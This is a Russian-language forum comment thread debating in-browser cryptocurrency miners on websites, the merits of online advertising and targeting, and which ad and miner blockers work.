1) Мне казалось, что когда кому-то что-то нужно, он не нуждается в рекламном подталкивании к покупке этой вещи, а сам её найдёт и выберет у кого собственно покупать. Вы же позволяете собой манипулировать, выбирать за вас что вам нужно (да, сами потом делаете итоговый отсев — это принять, это нет, но список составляете не вы), и называете это благом. Итого, раз вы согласны быть ведомым в данном взаимодействии, то не надо возмущаться, когда очередное решение "за вас" о ваших потребностях (дать вам майнер) вдруг выбилось из привычного ритма.
2) Участвуя в этой системе, толерантно к ней относясь, вы поддерживаете её не только для себя, а для всех. Потому как данная модель так называемой "монетизации" продолжает эксплуатироваться только потому, что есть такие пользователи, которые за неё платят, ходя по незапрошенным рекламам (иначе говоря, спаму). И если даже вам нравится такое положение дел, кому-то другому оно может не нравиться (и думаю многим), а вы находитесь в числе тех, кто это положение дел поддерживает. В конце концов, думаю можно заказать себе персонально пачку рекламных баннеров для просмотра (вдруг там что-то полезное прорекламируют) — денег с вас за это не возьмут, а может даже и дадут (за просмотр), совсем не обязательно провоцировать не-рекламные сайты на их размещение у себя в принудительном порядке.
Это типа как «если вы согласны купить машину за наличные рубли, то, по-моему, вы заслуживаете того, чтобы у вас отобрали все доллары на счетах»
Нет, этот пример совсем не в тему. Покупка чего-то за рубли это не негативное действие (по крайней мере в моём понимании). Но кому-то может и негативное — тогда да, он может захотеть отобрать счета в отместку.
alexeykuzmin0
26.09.2017 16:541). Нет. Реклама позволяет мне узнать о новом товаре, о котором я раньше никогда не знал. Например: я хочу сходить с супругой поужинать в какое-нибудь место, где мы раньше не были. Но я не веду список ресторанов, где мы уже были и не слежу за открытиями новых заведений. Зато если я случайно увижу вывеску, которую раньше не замечал, вероятно, мы туда сходим. Или, например, в рассылке от LinkedIn я изредка нахожу вакансии, на которые требуется специалист с моими навыками на хорошую зарплату — вероятно, я схожу к ним на собеседование, даже если не планирую сейчас менять работу — мало ли, окажется что-то совсем замечательное.
В обоих этих случаях реклама решает вопрос более удобного ИНФОРМИРОВАНИЯ меня о существовании нового товара. По-вашему, разумный человек на моем месте должен постоянно мониторить весь рынок ресторанов и несколько раз в день искать в куче источников вакансии (не планируя сменить работу)?
И это не имеет ни малейшего отношения к вопросу принятия «за меня» какого-либо решения. Я против принятия решения «за меня» как в майнинге, так и при покупке какого-либо товара.
2). Реклама, вообще-то, решает очень важные общественные проблемы. Без нее мир был бы гораздо хуже.
Вот представьте себе: вы открыли ферму и хотите арбузы продавать. Сидите себе дома на 100 арбузах, а прибыли почему-то нет. Как прибыль получить? Нужно привлечь покупателя. Или вывеску сделать рядом с домом, или другу позвонить и предложить купить арбуз, или еще чего. И все это — виды рекламы. Без рекламы современная экономика просто не может существовать.
А пример тут очень даже в тему. Вы почему-то считаете, что раз я согласен на один способ оплаты (просмотр рекламы), причем осознанно (ибо с сайта с кучей баннеров я тупо уйду), то с какого-то перепугу я должен быть согласен и на другой способ оплаты (майнинг), причем без уведомления. В примере с автомобилем то же самое: я согласен лишь на один вид оплаты (наличные рубли), и лишь добровольно в пользу продавца автомобиля, а не на любой другой (безналичные доллары) в пользу третьих лиц без уведомления.firk
27.09.2017 10:171) Не уводите тему в сторону. Я ничего не говорил против абстрактных "вывесок" и против абстрактной рекламы вообще. Я говорил против рекламы в том формате, как она сейчас используется большинством сайтов. Информирование — норм, плохо когда оно реализуется в роли паразита к другим услугам.
По-вашему, разумный человек на моем месте должен постоянно мониторить весь рынок ресторанов и несколько раз в день искать в куче источников вакансии (не планируя сменить работу)?
Ну так когда захотите — откроете справочник по ресторанам/вакансиям и найдёте что надо, выбрав из всего списка вариантов, а не из того, что вам подсунули.
2) Про вывески — уже ответил.
в пользу третьих лиц без уведомления.
Дело не в уведомлении, а в предварительном согласии. Мне кажется, что даже если вас уведомят о конфискации ваших счетов, вы не станете от этого поддерживать данную затею. А вот если спросят заранее — не хотите ли пожертвовать? — тогда совсем другое дело. И пусть лично вы предварительное согласие на получение рекламы дали (хоть у вас никто и не спрашивал, но если вас это устраивает, то ок), то остальные могли и не давать, а им всё равно её впаривают.
alexeykuzmin0
27.09.2017 13:211), 2). Принципиальной разницы между баннерами, вывесками и звонками другу нет — они все информируют. Я периодически заказываю новую пиццу чисто на попробовать, хожу на собеседования в компании, о которых ничего не знал, пока не увидел баннер о вакансии, заказываю банковские продукты и перехожу к другому интернет-провайдеру, если мне вдруг встречается что-то более эффективное (больше качество, ниже цена), чем то, чем я пользуюсь сейчас. А в свое время я сходил на тренинг к своему знакомому, опытному предпринимателю, узнав о том факте, что он его проводит, именно из баннера.
когда захотите — откроете справочник по ресторанам/вакансиям
Я всегда хочу найти что-то более эффективное, чем то, что у меня есть на сегодняшний день, но обычно это более эффективное просто отсутствует на рынке, поэтому нет никакого смысла в ежедневном перерывании всех справочников. А реклама позволяет мне узнать о том, в какой справочник глядеть. Ибо без нее я «не знаю, чего я не знаю».
Вот пример выше с тренингом по предпринимательскому делу — я был очень давно заинтересован в том, чтобы послушать пару слов на эту тему от опытного человека, которому я доверяю, и за очень небольшие деньги. Только вот такого человека никогда не было, и каждый день опрашивать всех знакомых предпринимателей на эту тему было бы глупо. А увидев баннер, я узнал, что теперь в моей доступности появилась возможность воспользоваться такой услугой, что я с радостью и сделал.
А насчет последнего абзаца — да, проблема предварительного согласия существует, и я допускаю, что может существовать множество тех, кто согласия на просмотр рекламы не давал. Но, на мой взгляд, тот факт, что я дал согласие на просмотр рекламы (кстати, есть сайты, где у меня запросили такое согласие и я его явно дал — скажем, stackoverflow), никоим образом не означает, что я давал согласие на майнинг.
Единственное, с чем я спорю — это с фразойзаслуживают и майнеров и вообще любых манипуляций над своими устройствами
Пусть каждый решает сам, что для него лучше, а что хуже. Для меня хуже майнинг.
Skit25
26.09.2017 17:07а) Делают качественный контент и размещают рекламу, чтобы окупить траты.
б) Делают площадки для сбыта рекламного контента, под видом см. пункт а.
Fanta
26.09.2017 23:18PW7FI1VfOmLOORjnVtJqS62MdJTJFiOl — это кошелек ??
Где-то можно узнать сколько на него уже "накапало" ?darkdaskin
27.09.2017 17:15Это некий site key, выдаваемый пулом. Впрочем, в Monero баланс чужого кошелька увидеть тоже нельзя (если владелец не опубликовал свой view key), т.к. все транзакции шифруются.
Fanta
27.09.2017 17:37какую инфу можно узнать по site key ??
edge790
27.09.2017 19:52никакую. это Public key который используется для индентифицации, на какой кошелек ты майнишь. Остальная информация хранится в Private Key который указан в личном кабинете на сайте, и про который написано что его нельзя никому показывать
vildulv
28.09.2017 12:27Нет, это не кошелёк. Это публичный API ключ сайта на который встроен скрипт, который регается в системе. И там же добавляется ключ кошелька, но он гораздо длиннее и так его никто не увидит.
edge790
27.09.2017 20:03А мне нравится идея. Для некоторых сайтов она очень даже хороша: ютуб, онлайн фильмы и сериалы, возможно музыка, если добавить ограничение на мощность майнинга. Онлайн игры.
Согласитесь, если у вас просто так простаивает CPU, и у вас есть выбор посмотреть фильм с майнером, вместо раздражающей рекламы, то это неплохой вариант. Главное чтобы там была галочка мол "Я согласен что отдаю процессорную мощность" чтобы майнер включался только с разрешения.
Вдобавок в статье не сказано про функционал предоставляемый этим же сервисом:
- Captcha, которая работает на Proof-of-work — вместо "Выберите все знаки, чтобы доказать что вы не робот" вы говорите "помайни 1024 хеша"(например) — как итог — спаммерам невыгодно, а пользователям не приходится "Выбирать все изображения на которых изображены Дорожные Знаки/Вывески магазинов".
- ShortLink — вместо шортлинка с рекламой — шортлинк с майнером. Тут смешанные чувства. Кому как удобнее.
- Ну и сам майнер. Да он майнит в бекграунде, и это плохо. Но: у него настраивается количество ядер для майнинга, у него есть "учёт" хешей намайненых пользователем. Как результат: можно настроить "оплату" контента сайта в хешах. Например минута видео 2048 хешей. После этого майнер останавливается/считает хеши для следующей минуты.
Я считаю это хорошей альтернативы для некоторых сайтов(про окупаемость молчу. Далеко не везде окупится + цены маленькие), потому что иногда загрузка CPU лучше AdWall'ов.
ИМХО: Идея хорошая, но пока ещё сырая. Как добавят возможность частичной загрузки процессора, чтобы не отжирать весь CPU на 50 вкладок и сайты начнут делать ограничения хешей на пользователя — это будет лишь раздражать
JeStoneDev
Стоило упомянуть, что есть блокировщики для этого безобразия AntiMiner
Akr0n
Стандартный uBlock с дефолтыми подписками уже блокирует, еще одно расширение, пожирающее память, не нужно.
JeStoneDev
Конечно, если стоит uBlock, то не нужно. Но не все люди пользуются блокировщиками рекламы (порой по идейным соображениям).
smarkelov
Мне жаль таких людей...
anweledig
Почему же? Редко пользуюсь расширениями в принципе, а блокировщик никогда не было мысли ставить. Не испытываю никакого дискомфорта от рекламы. Кроме того, очень даже полезно иногда в яндекс почте увидеть рекламу о какой-то вещи которую я гуглил некоторое время назад. Если меня что-то интересует и мне это предлагают в рекламе — это очень здорово.
Ipeacocks
> Если меня что-то интересует и мне это предлагают в рекламе — это очень здорово.
А вот когда меня что-то интересует — я это либо покупаю, либо планирую купить. Иначе это выглядит как манипуляция, мне не приятно. Для меня это как вклинивание в мою приватную жизнь. Я бы лучше смотрел на абсолютно рандомную рекламу.
anweledig
Какой смысл в рандомной рекламе? Это выглядит неразумно, учитывая, что есть развитая таргетинговая. И что значит манипуляция? Понятное дело, что если хочешь иди купи, но у нас уже не тот мир где на рынке у какой-то вещи может быть всего один или два производителя. Полезно знать, что там еще предлагают.
Я могу понять почему это может не нравится кому-то, раз существуют адблоки, могу понять когда кому-то нужна анонимность вокруг которой столько шума. Я не могу понять когда кто-то поддерживая откровенно попсовое мнение пишет, что ему жаль тех, кто такое же мнение не поддерживает.
Envek
Когда мне что-то нужно, я это гуглю и покупаю, часто в тот же день. А потом ещё пару месяцев смотрю уже нерелевантную рекламу вещи, которую я уже купил. Фигня эта ваша таргетированная реклама, короче.
Zenitchik
А ещё из-за этого в гугле стало трудно найти что-то новое )))
algotrader2013
кстати да, рандомная (неперсонализированная) реклама тоже имеет свой смысл. Можно сразу понять, зайдя на сайт:
1) кто целевая аудитория сайта
2) на что тратят в основном деньги пользователи сайта
3) что вообще сейчас пытаются пользователям интернета впаривать
то есть, чисто из любопытства, это интересно. Персонализированная реклама убивает такую возможность. Она лишь дает мне понять, что обо мне думают RTB боты, но не дает доп инфы об окружающем мире.
И самое обидное, что даже отключив персонализацию, получаешь не глобальную картину, а некий срез самой дешевой рекламы за клик, которую суют неперсонализированным пользователям (и распределение будет радикально отличаться от модели, когда персонализации нет в принципе).
Sykoku
Позвольте прояснить.
Вот я искал кофемолку и кофеварку. Вот я их купил. Вот прошло уже больше полугода, а Skype до сих пор мне предлагает купить еще одну. Такую же. Это в надежде, что старая сломалась? Или таргетинг кривой?
И так почти везде. Зашел не как аноним посмотреть новую АКБ к авто — будешь еще месяца 2 видеть крики на пол-листа — " У НАС ДЕШЕВЛЕ!!!"
Вы уверены, что именно в этом смысл рекламы?
alexeykuzmin0
Не знаю, как в Skype, а вот в Яндекс.Директе можно скрыть конкретный баннер с комментарием «уже купил». И тогда он больше не будет показывать ничего подобного, зато будет предлагать связанные товары (скажем, деткие игрушки после подгузников или зимнюю резину после автомобиля).
Ipeacocks
Может алгоритмы не могут вам предложить что-то лучше, вы не палили свои интересы и т.п.
Ipeacocks
Во-первых, сети собирают информацию и после этого знают что и почему мне нравится. Эта такая себе биография о вас, только значительно детальней. Мне это не по нраву: я хочу чтобы моя жизнь была моей приватной.
Эсли я хочу посмотреть что там делают разные производители — я захожу на специализированные сайты и читаю об этом. В чем же проблема?
> И что значит манипуляция?
Примером вы хотите диван, но как-то решили, что потом, так как может вам он и не нужен. Но интернет теперь думает иначе — и диваны теперь везде и вы думаете о диване постоянно — и потом его покупаете. Понимая лучше человека, его привычки и слабые стороны, сетям удается больше продавать.
smarkelov
Очень полезно заходить на сайты и среди тонны рекламы искать нужную информацию? Может вам еще нравится музыка на сайтах?
anweledig
В моем списке сайтов нет ни одного, где есть тонна рекламы и какая-либо музыка которая запускается без моего согласия.
bertmsk
Сейчас в тренде автоплей видевы (привет ленте.ру), а не музыки.
w0den
Например, я тоже не использую блокировщики рекламы, а когда открываю незнакомый для меня сайт, это позволяет видеть сайт «как есть» и сразу покинуть его, если вижу что «всё плохо» (на таких сайтах я никогда не задерживаюсь и по возможности никогда не возвращаюсь). Таким образом, я наказываю плохие сайты и поддерживаю хорошие (поисковая система учитывают моё поведение, и чаще всего в топе вижу сайты с «нормальной рекламой»). Если бы большинство пользователей поступили бы так же, интернет был бы чище, и вебмастерам не было бы выгодно использовать назойливую рекламу.
Быть может, звучит бредово, но мне кажется, в какой-то мере данный тип рекламы всё ещё существует именно по вине тех пользователей, которые «надели розовые очки» дабы не видеть грязь. Но самая большая проблема в том, что такие пользователи задерживаются на «грязный ресурс» и это подсказывает поисковым системам якобы о хорошем сайте, которого нельзя исключить из результатов поиска.
qw1
Особенно если рассмотреть трекер, который контентом наполняют пользователи, а вырвиглазную рекламу ставят совершенно другие люди.
Alexeyslav
Ну, в принципе если вы заходите на сайт с блокировщиками он вас не видит и не учитывает, а если учитывает то как некого анонима по которому очень мало статистически значимых данных учет по которым проводится скорей как ботов чем реальных пользователей. И ведь сайт ничего не имеет с вашего захода, а значит реклама для вас «не работает», а работает она только для того кто заходит БЕЗ блокировщика — именно они и дают статистику сайту, от них зависит работа сайта. А раз кто-то заходит, значит и сайт востребован…
w0den
Когда посетитель переходит на сайт из результатов поиска и сразу возвращается к выдаче чтобы перейти на следующий сайт, это говорит поисковой системе, что посетителю не понравился увиденный сайт. Даже если используется блокировщик, не думаю что Google или Yandex не могут отслеживать такое поведение.
Что касается постоянных посетителей или прямых заходов — люди не должны задерживаться на «грязные» сайты, а перейти на «чистый» сайт конкурента. Но чтобы отличить «грязные» сайты от «чистых», нужно увидеть всё «как есть» (то есть не использовать блокировщикии). При таком подходе, мы наказываем «грязные» сайты (понижаем позицию в результатах поиска, не задерживаемся, не приносим доход) и поддерживаем «чистые» сайты (повышаем позицию в результатах поиска, увеличиваем длительность сеанса, понижаем показатель отказов, приносим копеечный доход даже если не кликаем по рекламе).
Я более чем уверен, что в «реальной жизни» большинство людей поступают также. Например, они не возвращаются в кафе, где грязно, хамят клиентам или адски шумно. Они не надевают очки или наушники, чтобы скрыть всё это, а посещают другие, уютные кафе, где оставляют даже чаевые. Чем же хороший вебмастер отличается от хорошего официанта, и почему бы не «поддерживать» хороший сайт, если хотим избавиться от «грязи»… К тому же, почему так мало людей задумываются о том, что блокировщики рекламы рано или поздно заставят «хорошего» вебмастера бросить сайт или искать грязные методы монетизации, когда «плохой» вебмастер просто будет переключиться на альтернативные методы обмана…
Zenitchik
А как поисковая система может это обнаружить? Вот, получил я, значит поисковую выдачу, и давай средней кнопкой по ссылкам кликать. Какие-то вкладки не понравились — сразу закрываю, какие-то — заинтересовали, я их почитал, какие-то в это врямя висят открытые, потому что я до них ещё не добрался. Поисковую выдачу я всё это время не трогаю.
DistortNeo
Да, поисковая система не сможет определить, какая именно из нескольких открытых подряд ссылок вас заинтересовала. С другой стороны, поисковая система может определить, что ни одна из открытых ссылок не понравилась, например, вы продолжили открывать ссылки через короткий промежуток времени. Ну а дальше будет просто накопление статистики на миллионах таких людей, как вы, и её последующий анализ.
Alexeyslav
Переход по ссылке с поисковой выдачи учитывается, а дальше работают трекеры от гугла на самом сайте, это конечно если ничего не блочить и т.п. и они МОГУТ сопоставить сам переход с поисковой выдачи, время нахождения на сайте и какие странички открывал. Всё это делается по большей части через кукисы. И если их выключить — возможностей по отслеживанию поведения пользователя у поисковика станет гораздо меньше, менее надёжное связывание посетителя с конкретным пользователем хотя косвенными методами они ещё могут отследить перемещение анонима по сайту который находится под их наблюдением и отличить от действий других посетителей — например по TTL, UserAgent, разрешению экрана, ширине активного окна браузера, геолокации, IP-адресу и множеству косвенных признаков которые вполне складываются довольно уникально для каждого пользователя. Чтобы полностью себя анонимизировать перед поисковиками нужно приложить довольно серьёзные усилия — засесть в компьютерном классе с 20-ю клонированными машинами подключенными к одному роутеру и на каждой из них осуществлять почти одинаковое взаимодействие с поисковиком — сёрфить одновременно на одном и том же сайте.
w0den
К словам DistortNeo и Alexeyslav хочу добавить, что ещё одним сигналом служит случаи, когда пользователи вводят уточняющие запросы. Например, сначала ввели «слон» открыли первые результаты, не нравилось то, что нашли и ввели «розовый слон» — очень высока вероятность, что первые места в выдаче будут занимать сайты, которые были просмотрены ранее, но если посетитель больше не посещает их, значит «что-то не так».
К тому же, далеко не все пользователи открывают несколько вкладок. Что самое странное (по крайне мере для меня), что некоторые люди даже не открывают ссылки в новом окне (по умолчанию в Google опция «Открывать результаты в новом окне» отключена).
Alexeyslav
Так вы и так грязному сайту не приносите дохода. Суть такова, что в отличие от физического мира, мы МОЖЕМ изменить место куда ходим — для нас грязное кафе будет выглядеть вполне чистым и приносить удовольствие. А если нечто крякает и выглядит как утка… в этом прелесть виртуального пространства по сравнению с физическим.
Вот те люди кто зашли на сайт без блокировщиков и им не понравилась грязь — вот они во второй раз туда не придут, или придут уже с блокировщиком. А те кто регулярно ходят на грязный сайт и их это не смущает — они собственно и оплачивают работу сайта и участвуют в статистике которую мы видим. И судя по тому что такие сайты всё ещё существуют — таких людей достаточно много!
w0den
Так моя идея состоит в том, что нужно поддерживать хорошие сайты. Прелесть виртуального пространства ещё состоит в том, что можно потратить пару секунд/минут, чтобы найти хороший сайт. То, что пользователи «надели розовые очки», лишь скрыло проблему, но не решило её. Сейчас Вам удобно так, но что будет, когда все пользователи будут использовать блокировщики? Ведь, в отличие от хороших вебмастеров, плохие вебмастеры никуда не исчезнут, они лишь будут использовать другие способы обмана или будут заставить посетителя отключить блокировщик.
Что касается тех, кто регулярно ходят на грязные сайты — не знаю, почему они этого делают, но как уже отметил выше, я знаю, откуда и «благодаря кому» на такие сайты попадают новые посетители.
Stroy71
От рекламы в яндекс почте блокировщики не помогают. Во всяком случае, не adBlock+
vlivyur
А покупаете прям с того баннера или всё же гуглите ещё?
darthslider
Я не пользуюсь ресурсами, где реклама слишком навязчива, вот и всё. А пользоваться блокировщиком рекламы на ресурсах, которые тебе нравятся и ты им не донатишь не то что бы хорошая идея.
ActorComplekt
Попробовал поставить uBlock — на этом сайте как было 100% загрузки, так и остается. Не помогает он тут.
vorphalack
а добавить нужное в фильтры?
JeStoneDev
Не надо там ничего добавлять. Уже все добавлено из коробки.
ZoomLS
uBlock больше рассчитан на блокировку рекламы и по готовым «спискам». Этого мало. Ведь можно обойти его, превращая ситуацию в вечные бои. Но можно решить вопрос на корню. Блокировать все левые скрипты, которые не отразятся на работе сайтов. Даже не только скрипты, но и запросы на другие домены и т.д. Здесь помогут такие инструменты как: RequestPolicy Continued, uMatrix и другие.
Tallefer
Не совсем так. Там есть (похожая на uMatrix) система базовых настроек, которая позволяет глобально порезать 3-rd party объекты. Вот, к примеру, эта страница:
У юблока даже в описании заявлено, что это больше, чем просто списочный блокер рекламы. :)
ZoomLS
Может быть я и не совсем прав. Но использую связку с несколькими расширениями. Если пробьют одно, заблокирует другое :)
Tallefer
Имкнно так и надо. :)
Но и с точки зрения «поставил и забыл» — юблок тоже хорош сам по себе. Если что-то вдруг понадобится обуздать, то в нем почти все нужное для этого есть.
algotrader2013
встречал рекламу украинского интернет-магазина Розетка, которая пробивает стек из нескольких блокировщиков (и ручная блокировка AdBlock Plus работала до нажатия F5). Подозреваю, что на каждый запрос генерируется уникальная рандомная разметка. Тревожный звоночек.
Хотя… на подходе motherboard.vice.com/en_us/article/9a4yny/princetons-ad-blocking-superweapon-may-put-an-end-to-the-ad-blocking-arms-race
odin_v_pole
наблюдал такое пару недель на сайтах gismeteo.ua, sinoptik.ua с теми же симптомами. Сейчас уже все хорошо.
Alexeyslav
Пробивать блокировщики не имеет смысла. Достаточно сделать одну подлость — рекламу не отличимую от контента. Это сейчас её относительно просто выделить и формализовать правило блокировки, а теперь представьте что и реклама и контент будут идти от одного CDN и иметь очень мало формализуемых признаков по которым их можно отличить… отключаешь рекламу — отключаешь и полезный контент.
mayorovp
А зачем мне контент неотличимый от рекламы?
Alexeyslav
Неотличимый для блокировщиков, например использующий один общий CDN так что только по домену рекламу от контента уже не отличишь и попытка простым способом убить рекламу убивает и полезный контент. Сейчас считай почти халява — большую часть рекламы можно срезать с минимальными затратами просто анализируя домен по спискам.
DistortNeo
Это будет сделать довольно сложно. Насколько я помню, делать рекламу, неотличимую от контента, запрещено законодательно в некоторых странах.
Alexeyslav
Неотличимую для блокировщиков — на уровне ссылок на ресурсы с контентом. Например, баннеры могут располагаться в том же пространстве что и полезный контент с точки зрения браузера, но располагаться и выглядеть для человека как реклама — это чисто технический вопрос внутреннего устройства сайта, куда законодательство ещё не проникло.
В конце-концов, каждое изображение и/или объект сайта будь-то статья или картинка или реклама могут запрашиваться с сервера по длинному хешу и поди определи по запросу что это рекламный баннер или полезный документ. И списки блокировки резко станут неэффективными чуть более чем полностью.
algotrader2013
Уверен, что к этому придут, к сожалению. Да, это куча неудобств, но сделав сервис, технически похожий на Cloudflare, которому будут доверять и рекламодатели и вебмастера, можно заворачивать весь траффик, и по ходу переколбашивать разметку, гомогенизируя контент.
А вот когда появится супероружие по ссылке, то придется, конечно, напрячься рекламщикам, и проявлять креатив.
PS: лично я даже поставил бы галочку в блокировщиках «готов майнить, нагружая 20% процессора», если бы она была. Мне мое личное время дороже процессорного времени. Без хоть какого-то win-win победа блокировщиков призовет пейволы, и проиграют все.
PPS: Хотя… против пейволов можно создать р2р сеть, которая будет кешировать контент, и после первого просмотра страницы участником сети, оплатившим пейвол, давать доступ всем…
qw1
n01d
Ещё в копилку фильтров для ABP и подобных (uBlock в т.ч.): github.com/hoshsadiq/adblock-nocoin-list